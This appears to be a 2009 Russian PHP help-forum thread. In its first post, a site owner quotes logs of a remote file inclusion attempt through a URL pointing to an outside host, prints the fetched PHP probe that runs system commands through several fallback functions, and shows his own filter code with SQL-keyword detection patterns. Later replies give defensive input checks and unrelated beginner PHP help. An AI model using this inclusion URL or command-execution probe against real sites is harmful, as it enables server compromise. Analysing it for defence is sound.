
20.02.2009, 16:17
|
|
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме: 228267
Репутация:
27
|
|
Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:
Код:
WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
Перейдя по адресу: http://www.igrawm.net.ru/404.txt?
Видим следующий код:
Код:
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?
P.S
Вот код файла security.php с 177 по 188 строки:
Код:
foreach ($_GET as $var_name=>$var_value) {
if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
if ($security_url_get == 1) {
if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
}
$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
$security_decode = base64_decode($var_value);
if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
}
|
|
|

20.02.2009, 16:19
|
|
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме: 139522
Репутация:
4
|
|
Shadow_p1raT, да походу это, ток чет не робит кажись)))
|
|
|

20.02.2009, 16:26
|
|
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме: 4087
Репутация:
1
|
|
Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:
<?php
$i = 0;
$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";
$i++;
}
fclose($h);
$content=ereg_replace('ready','all. ready',$text); // 5
$w=fopen("text2.txt","r");
fwrite($w,$content);
fclose($w);
?>
PS: извиняюсь, если глупость, я начал учить php позавчера.
|
|
|

20.02.2009, 16:31
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку
PHP код:
is_string($var_name) or die('Переменная '. $var_value. ' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь
после этой
Код:
foreach ($_GET as $var_name=>$var_value) {
|
|
|

20.02.2009, 16:42
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
Ion,так?
PHP код:
<?php
$fp = fopen('text.txt','r');
for($i=0;$i<=9;$i++) {
$content .= fgets($fp);
}
fclose($fp);
$content = str_replace('ready','all. ready',$content);
$fp2 = fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>
|
|
|

20.02.2009, 16:52
|
|
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме: 4087
Репутация:
1
|
|
Да, так. Спасибо большое.  Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?
|
|
|

20.02.2009, 16:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report
Ion В начале скрипта добавь $content='';
|
|
|

20.02.2009, 17:31
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Хм,как осуществить.
Есть страница,большая.Грузим ее филе_гет_конт. и ищем на ней совпадение регуляркой.
Вопрос.Кабы мне сделать:
а)Грузить и искать одновременно,тоесть как только нашел - загрузка прервалась.
б)Выгоднее.ВЫкачивать только часть страницы,например только 100 кб.
Какс?
|
|
|

20.02.2009, 17:46
|
|
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме: 750298
Репутация:
297
|
|
m0Hze а что тебе мешает скачать полностью и потом парсить регуляркой?
|
|
|

20.02.2009, 17:49
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме: 2140897
Репутация:
267
|
|
m0Hze,можно так
PHP код:
<?php
$fp = fopen('http://localhost/test/test.txt', 'rt');
$text = 'antichat';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($text).'#i', fread($fp, 100)))
{
echo 'найдено';
break;
}
}
fclose($fp);
?>
только вроде требует в php.ini
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|